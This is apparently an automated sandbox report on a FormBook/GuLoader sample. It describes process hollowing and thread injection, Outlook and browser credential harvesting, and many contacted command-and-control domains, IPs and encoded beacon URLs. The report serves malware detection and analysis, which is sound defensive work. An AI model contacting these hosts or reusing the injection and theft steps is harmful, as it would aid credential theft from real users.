Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04644180 mov eax, dword ptr fs:[00000030h]	5_2_04644180
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04669194 mov eax, dword ptr fs:[00000030h]	5_2_04669194
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04681190 mov eax, dword ptr fs:[00000030h]	5_2_04681190
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04681190 mov eax, dword ptr fs:[00000030h]	5_2_04681190
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B273 mov eax, dword ptr fs:[00000030h]	5_2_0463B273
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B273 mov eax, dword ptr fs:[00000030h]	5_2_0463B273
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B273 mov eax, dword ptr fs:[00000030h]	5_2_0463B273
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D327E mov eax, dword ptr fs:[00000030h]	5_2_046D327E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D327E mov eax, dword ptr fs:[00000030h]	5_2_046D327E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D327E mov eax, dword ptr fs:[00000030h]	5_2_046D327E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D327E mov eax, dword ptr fs:[00000030h]	5_2_046D327E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D327E mov eax, dword ptr fs:[00000030h]	5_2_046D327E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D327E mov eax, dword ptr fs:[00000030h]	5_2_046D327E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FD270 mov eax, dword ptr fs:[00000030h]	5_2_046FD270
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FF247 mov eax, dword ptr fs:[00000030h]	5_2_046FF247
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F24A mov eax, dword ptr fs:[00000030h]	5_2_0466F24A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BD250 mov eax, dword ptr fs:[00000030h]	5_2_046BD250
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BD250 mov ecx, dword ptr fs:[00000030h]	5_2_046BD250
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470124C mov eax, dword ptr fs:[00000030h]	5_2_0470124C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470124C mov eax, dword ptr fs:[00000030h]	5_2_0470124C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470124C mov eax, dword ptr fs:[00000030h]	5_2_0470124C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470124C mov eax, dword ptr fs:[00000030h]	5_2_0470124C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C0227 mov eax, dword ptr fs:[00000030h]	5_2_046C0227
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C0227 mov eax, dword ptr fs:[00000030h]	5_2_046C0227
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C0227 mov eax, dword ptr fs:[00000030h]	5_2_046C0227

Source: C:\Windows\SysWOW64\mstsc.exe

Process queried: DebugPort

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Code function: 1_2_00401E43 LdrInitializeThunk,ShowWindow,EnableWindow,

1_2_00401E43

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe	Network Connect: 130.185.109.77 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 84.32.84.32 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.arifsantoso.info
Source: C:\Windows\explorer.exe	Network Connect: 183.90.238.43 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.195.240.45 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 109.123.121.243 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 162.214.206.200 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 199.192.30.147 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 154.84.88.108 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 216.108.231.108 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 89.31.143.1 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 162.215.249.40 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 172.67.153.163 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.104.137.185 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.106.208.3 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 213.171.195.105 80	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Section unmapped: C:\Windows\SysWOW64\mstsc.exe base address: 590000

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Section loaded: unknown target: C:\Users\user\Desktop\Siirtokuitti_006703.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Section loaded: unknown target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Section loaded: unknown target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\mstsc.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF75FD40000

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\mstsc.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF75FD40000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\mstsc.exe

Thread APC queued: target process: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\mstsc.exe	Thread register set: target process: 7528			Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Thread register set: target process: 5200			Jump to behavior

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Process created: C:\Users\user\Desktop\Siirtokuitti_006703.exe C:\Users\user\Desktop\Siirtokuitti_006703.exe	Jump to behavior
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Process created: C:\Windows\SysWOW64\mstsc.exe C:\Windows\SysWOW64\mstsc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

1_2_00403489

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 00000001.00000002.19420855305.0000000009150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.23814214008.0000000000330000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.23831783488.0000000004460000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.23832424466.0000000004490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\mstsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 00000001.00000002.19420855305.0000000009150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.23814214008.0000000000330000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.23831783488.0000000004460000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.23832424466.0000000004490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Shared Modules	1 Windows Service	1 Access Token Manipulation	3 Obfuscated Files or Information	LSASS Memory	4 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Windows Service	1 DLL Side-Loading	Security Account Manager	221 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	711 Process Injection	12 Masquerading	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	5 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	12 Virtualization/Sandbox Evasion	LSA Secrets	1 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Access Token Manipulation	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	711 Process Injection	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Siirtokuitti_006703.exe	38%	ReversingLabs	Win32.Trojan.Guloader
Siirtokuitti_006703.exe	49%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsl3DD.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
roconsultores.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.scottsteedley.com/tchg/?O0qEM=4yLegaT1sivciznwGwL+1oWFxAOSGQRZOQeAHXS5UhA0sXonzOuQC/8xHc6XJGn9K9HBDd08hbjXm0qB4TniN4OVF/4Ot7tkHQ==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
http://www.solarwachstum.com/tchg/	0%	Avira URL Cloud	safe
http://www.minskadue.xyz/tchg/	0%	Avira URL Cloud	safe
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
http://www.albaymedya.com/tchg/	0%	Avira URL Cloud	safe
http://www.printmyride.store/tchg/	100%	Avira URL Cloud	malware
http://www.zinkiggekis.xyz/tchg/?O0qEM=mDEdoIjvGdDKka9ru4QwK/GisJWxY9EIyNGATwE/O1GDb08I/XgAMo6lLUTyBtJ+E+b+Hhq9pNT1+wqS6RrKc+0XnVP7aUjPVQ==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
http://www.marketing-solution.net/tchg/?O0qEM=Vh+NtSFYOkmwW/joH9vrd5+MSsdMnxV1ssl4yHjdHmi4FIifjhGRd3WP5FLf/k8P5fuqdVgOe83DA0NMx4WBp24AMjol/1MYCA==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
http://www.comoparardefumar.website/tchg/?O0qEM=27zP+uSjjQlLnilOnGJCOrnozMlpBRLg3OEmXmWOVdAdyewLZJq+JAgQDNVT6O1S8K/UhNHecCZNR/ARSVl+YwbS8ARBrMbIDw==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
http://www.comoparardefumar.website/tchg/	0%	Avira URL Cloud	safe
http://www.scottsteedley.com/tchg/	0%	Avira URL Cloud	safe
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
http://www.cookcollectives.xyz/tchg/?O0qEM=/2jSjcKJMdr4ffgZ+zzkfBSRTsT2SH0igJpEl+3lX4mpJUIOx7Qie7mq5rJzO4NdwHagEWX+5iltx1Pxra2/KdiiiY2yLTCphg==&CF1Ki=UnDuQcdCFs1MNsvY	100%	Avira URL Cloud	malware
http://www.albaymedya.com/tchg/?O0qEM=jQDaGZ2OScTGFSP10uKTPyhqI710WSvw2gViBbUugbcSlWDCi533rl6vPGA30o5eyDb36C/pQ3h7az/b16KQNynftoBCqLFM3A==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
http://www.arrangeabreak.com/tchg/?2ax=jRqfPy4_lz2&O0qEM=IiqkKM0fZYbcVAhAnum4m1H4t/7jN9R9rdXOIOC6/CZopBQ7QWkcbeNISYKTY0qHDgk4y1fleDCOJFlZ6etMDJwjph9a+HDsvg==	0%	Avira URL Cloud	safe
http://www.scottsteedley.com/tchg/?O0qEM=4yLegaT1sivciznwGwL+1oWFxAOSGQRZOQeAHXS5UhA0sXonzOuQC/8xHc6XJGn9K9HBDd08hbjXm0qB4TniN4OVF/4Ot7tkHQ==&2ax=jRqfPy4_lz2	0%	Avira URL Cloud	safe
http://www.aurizhon.com/tchg/	0%	Avira URL Cloud	safe
http://www.dkansai-cp.com/tchg/	0%	Avira URL Cloud	safe
http://www.oleictude.xyz/tchg/	0%	Avira URL Cloud	safe
http://www.dkansai-cp.com/tchg/?O0qEM=oRufhoY+bc3ycM+VgiODBrp+vj6j24zBH4XRbixJn1DYBt5l7xCYw/uqkQ1xxa9R7WiXu6y4y7mJHWOjUCQ2GcjHOqMUPQqZlA==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
http://www.oleictude.xyz/tchg/?2ax=jRqfPy4_lz2&O0qEM=t2tzMhBRWo10Eosyb8KFBuaI1V5h8MV7T2bC3+E0nZXV+FHXmJExWsZaqAHQ5axaFjoD9IuPadSp7WKT8CRkiPajdeOXH8cJLw==	0%	Avira URL Cloud	safe
http://www.roconsultores.com/tchg/	0%	Avira URL Cloud	safe
http://www.ep09.com/tchg/	0%	Avira URL Cloud	safe
http://www.arrangeabreak.com/tchg/	0%	Avira URL Cloud	safe
http://www.tsygy.com/tchg/?O0qEM=9bBjY/6oTKgH1shIYNMDEgJDdV7IeHSSKUh5InR8itKuthEKpcsrZfSerFOqB7XzWJrnUJabB2R375fix7bupMFfJVFvNpSnug==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
http://www.tsygy.com/tchg/	0%	Avira URL Cloud	safe
http://www.minskadue.xyz/tchg/?O0qEM=DJvKcwNMAiJtEMOFKIZqmDIH4j0MfehpVISF4oayj5HJP/icrRLtFKDL2L4p+A5+/b2o2lLyzfTNwEC6FKsE+wfmOuyyDckdRA==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
http://www.cookcollectives.xyz/tchg/	100%	Avira URL Cloud	malware
http://www.fairbitawayposearisk.com/tchg/	0%	Avira URL Cloud	safe
http://www.fairbitawayposearisk.com/tchg/?O0qEM=RUgOIEC2bpKEAb3gt63mE+Z8A/D48vS2kv7pSD36MjRmJGY6VLK565PH5Ya2jxSU9dFBv1ZYes9vP/U9IpvgXfidz0YLsWTogQ==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
http://www.ep09.com/tchg/?O0qEM=U7ETdamdP1ZCKOUjEiyRlibAgxYlwKZeBR7oaxwm2PdxgC4EyvOHYU8IW8pd/NQOhWFEBZrGHEgN3MxkyARqzohq8TIPp6MjlQ==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	0%	Avira URL Cloud	safe
http://www.roconsultores.com/tchg/?O0qEM=BJuKMup2GV76y7PN1TAAeEW5uAzDipAxIHnNePHx/XVxjn7DTtYSqvDx4g/JiwsgTds8bJvsGAi/M/AJ9Pl0F9zoyJQ+vWMQHA==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe
http://www.zinkiggekis.xyz/tchg/	0%	Avira URL Cloud	safe
http://www.1win-legal1.top/tchg/?O0qEM=hClHY5uPluAt04hxdW9YdRNRHUMh6WFBrIjTpWTjcLdbR+/1RzzDBpsx7TGHnuWwBZdLDpA/Bvgz1IX7r92Uvnz5C/OqUTrjUQ==&CF1Ki=UnDuQcdCFs1MNsvY	100%	Avira URL Cloud	malware
http://www.marketing-solution.net/tchg/	0%	Avira URL Cloud	safe
http://www.aurizhon.com/tchg/?O0qEM=zvsOmuV0RkpNj9dmmLvcNYSUCKV3obfROWhQI5uFrAaJab0t5Tdz/8Us64BcH9fOYlnSp9W3WhuAhk0hcdTywJHY62KLeFNtHg==&CF1Ki=UnDuQcdCFs1MNsvY	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
roconsultores.com	162.215.249.40	true	true	0%, Virustotal, Browse	unknown
www.solarwachstum.com	89.31.143.1	true	true		unknown
www.oleictude.xyz	109.123.121.243	true	true		unknown
fairbitawayposearisk.com	216.108.231.108	true	true		unknown
www.printmyride.store	130.185.109.77	true	true		unknown
www.marketing-solution.net	91.195.240.45	true	true		unknown
www.arifsantoso.info	45.33.20.235	true	true		unknown
aurizhon.com	84.32.84.32	true	true		unknown
comoparardefumar.website	84.32.84.32	true	true		unknown
www.dkansai-cp.com	183.90.238.43	true	true		unknown
www.zinkiggekis.xyz	109.123.121.243	true	true		unknown
www.tsygy.com	23.104.137.185	true	true		unknown
www.arrangeabreak.com	213.171.195.105	true	true		unknown
albaymedya.com	185.106.208.3	true	true		unknown
drive.google.com	172.217.18.110	true	false		high
www.1win-legal1.top	172.67.153.163	true	true		unknown
www.cookcollectives.xyz	199.192.30.147	true	true		unknown
www.ep09.com	154.84.88.108	true	true		unknown
googlehosted.l.googleusercontent.com	142.250.186.97	true	false		high
www.minskadue.xyz	109.123.121.243	true	true		unknown
scottsteedley.com	162.214.206.200	true	true		unknown
www.comoparardefumar.website	unknown	unknown	true		unknown
www.albaymedya.com	unknown	unknown	true		unknown
www.roconsultores.com	unknown	unknown	true		unknown
doc-04-7k-docs.googleusercontent.com	unknown	unknown	false		high
www.aurizhon.com	unknown	unknown	true		unknown
www.14-pro-max-sales.online	unknown	unknown	true		unknown
www.scottsteedley.com	unknown	unknown	true		unknown
www.fairbitawayposearisk.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.albaymedya.com/tchg/	true	Avira URL Cloud: safe	unknown
http://www.comoparardefumar.website/tchg/?O0qEM=27zP+uSjjQlLnilOnGJCOrnozMlpBRLg3OEmXmWOVdAdyewLZJq+JAgQDNVT6O1S8K/UhNHecCZNR/ARSVl+YwbS8ARBrMbIDw==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.zinkiggekis.xyz/tchg/?O0qEM=mDEdoIjvGdDKka9ru4QwK/GisJWxY9EIyNGATwE/O1GDb08I/XgAMo6lLUTyBtJ+E+b+Hhq9pNT1+wqS6RrKc+0XnVP7aUjPVQ==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.comoparardefumar.website/tchg/	true	Avira URL Cloud: safe	unknown
https://doc-04-7k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/k5vv2eer5piasl85vm2gu1ubr744dkes/1685437575000/04063919605701821530/*/1gvJNG_hcxbVMWQvESL5VmHgfKw3TSb3S?e=download&uuid=0165319d-d6ed-4364-9b74-a19685a5f726	false		high
http://www.scottsteedley.com/tchg/?O0qEM=4yLegaT1sivciznwGwL+1oWFxAOSGQRZOQeAHXS5UhA0sXonzOuQC/8xHc6XJGn9K9HBDd08hbjXm0qB4TniN4OVF/4Ot7tkHQ==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.printmyride.store/tchg/	true	Avira URL Cloud: malware	unknown
http://www.minskadue.xyz/tchg/	true	Avira URL Cloud: safe	unknown
http://www.solarwachstum.com/tchg/	true	Avira URL Cloud: safe	unknown
http://www.marketing-solution.net/tchg/?O0qEM=Vh+NtSFYOkmwW/joH9vrd5+MSsdMnxV1ssl4yHjdHmi4FIifjhGRd3WP5FLf/k8P5fuqdVgOe83DA0NMx4WBp24AMjol/1MYCA==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.cookcollectives.xyz/tchg/?O0qEM=/2jSjcKJMdr4ffgZ+zzkfBSRTsT2SH0igJpEl+3lX4mpJUIOx7Qie7mq5rJzO4NdwHagEWX+5iltx1Pxra2/KdiiiY2yLTCphg==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: malware	unknown
http://www.arrangeabreak.com/tchg/?2ax=jRqfPy4_lz2&O0qEM=IiqkKM0fZYbcVAhAnum4m1H4t/7jN9R9rdXOIOC6/CZopBQ7QWkcbeNISYKTY0qHDgk4y1fleDCOJFlZ6etMDJwjph9a+HDsvg==	true	Avira URL Cloud: safe	unknown
http://www.scottsteedley.com/tchg/	true	Avira URL Cloud: safe	unknown
http://www.dkansai-cp.com/tchg/	true	Avira URL Cloud: safe	unknown
http://www.dkansai-cp.com/tchg/?O0qEM=oRufhoY+bc3ycM+VgiODBrp+vj6j24zBH4XRbixJn1DYBt5l7xCYw/uqkQ1xxa9R7WiXu6y4y7mJHWOjUCQ2GcjHOqMUPQqZlA==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.albaymedya.com/tchg/?O0qEM=jQDaGZ2OScTGFSP10uKTPyhqI710WSvw2gViBbUugbcSlWDCi533rl6vPGA30o5eyDb36C/pQ3h7az/b16KQNynftoBCqLFM3A==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.oleictude.xyz/tchg/	true	Avira URL Cloud: safe	unknown
http://www.scottsteedley.com/tchg/?O0qEM=4yLegaT1sivciznwGwL+1oWFxAOSGQRZOQeAHXS5UhA0sXonzOuQC/8xHc6XJGn9K9HBDd08hbjXm0qB4TniN4OVF/4Ot7tkHQ==&2ax=jRqfPy4_lz2	true	Avira URL Cloud: safe	unknown
http://www.aurizhon.com/tchg/	true	Avira URL Cloud: safe	unknown
http://www.oleictude.xyz/tchg/?2ax=jRqfPy4_lz2&O0qEM=t2tzMhBRWo10Eosyb8KFBuaI1V5h8MV7T2bC3+E0nZXV+FHXmJExWsZaqAHQ5axaFjoD9IuPadSp7WKT8CRkiPajdeOXH8cJLw==	true	Avira URL Cloud: safe	unknown
http://www.roconsultores.com/tchg/	true	Avira URL Cloud: safe	unknown
http://www.ep09.com/tchg/	true	Avira URL Cloud: safe	unknown
http://www.cookcollectives.xyz/tchg/	true	Avira URL Cloud: malware	unknown
http://www.tsygy.com/tchg/?O0qEM=9bBjY/6oTKgH1shIYNMDEgJDdV7IeHSSKUh5InR8itKuthEKpcsrZfSerFOqB7XzWJrnUJabB2R375fix7bupMFfJVFvNpSnug==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.arrangeabreak.com/tchg/	true	Avira URL Cloud: safe	unknown
http://www.minskadue.xyz/tchg/?O0qEM=DJvKcwNMAiJtEMOFKIZqmDIH4j0MfehpVISF4oayj5HJP/icrRLtFKDL2L4p+A5+/b2o2lLyzfTNwEC6FKsE+wfmOuyyDckdRA==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.tsygy.com/tchg/	true	Avira URL Cloud: safe	unknown
http://www.fairbitawayposearisk.com/tchg/	true	Avira URL Cloud: safe	unknown
http://www.fairbitawayposearisk.com/tchg/?O0qEM=RUgOIEC2bpKEAb3gt63mE+Z8A/D48vS2kv7pSD36MjRmJGY6VLK565PH5Ya2jxSU9dFBv1ZYes9vP/U9IpvgXfidz0YLsWTogQ==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.ep09.com/tchg/?O0qEM=U7ETdamdP1ZCKOUjEiyRlibAgxYlwKZeBR7oaxwm2PdxgC4EyvOHYU8IW8pd/NQOhWFEBZrGHEgN3MxkyARqzohq8TIPp6MjlQ==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.roconsultores.com/tchg/?O0qEM=BJuKMup2GV76y7PN1TAAeEW5uAzDipAxIHnNePHx/XVxjn7DTtYSqvDx4g/JiwsgTds8bJvsGAi/M/AJ9Pl0F9zoyJQ+vWMQHA==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown
http://www.zinkiggekis.xyz/tchg/	true	Avira URL Cloud: safe	unknown
http://www.1win-legal1.top/tchg/?O0qEM=hClHY5uPluAt04hxdW9YdRNRHUMh6WFBrIjTpWTjcLdbR+/1RzzDBpsx7TGHnuWwBZdLDpA/Bvgz1IX7r92Uvnz5C/OqUTrjUQ==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: malware	unknown
http://www.marketing-solution.net/tchg/	true	Avira URL Cloud: safe	unknown
http://www.aurizhon.com/tchg/?O0qEM=zvsOmuV0RkpNj9dmmLvcNYSUCKV3obfROWhQI5uFrAaJab0t5Tdz/8Us64BcH9fOYlnSp9W3WhuAhk0hcdTywJHY62KLeFNtHg==&CF1Ki=UnDuQcdCFs1MNsvY	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://doc-04-7k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/k5vv2eer	Siirtokuitti_006703.exe, 00000003.00000003.19287599564.000000000765D000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19281692480.000000000765D000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19286262605.000000000765D000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19276888205.0000000007678000.00000004.00000020.00020000.00000000.sdmp	false		high
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	Siirtokuitti_006703.exe, 00000003.00000001.19133084777.0000000000649000.00000020.00000001.01000000.00000005.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Siirtokuitti_006703.exe, 00000001.00000002.19308536845.000000000040A000.00000004.00000001.01000000.00000003.sdmp, Siirtokuitti_006703.exe, 00000001.00000000.18764879209.000000000040A000.00000008.00000001.01000000.00000003.sdmp, Siirtokuitti_006703.exe, 00000003.00000000.19131681652.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false		high
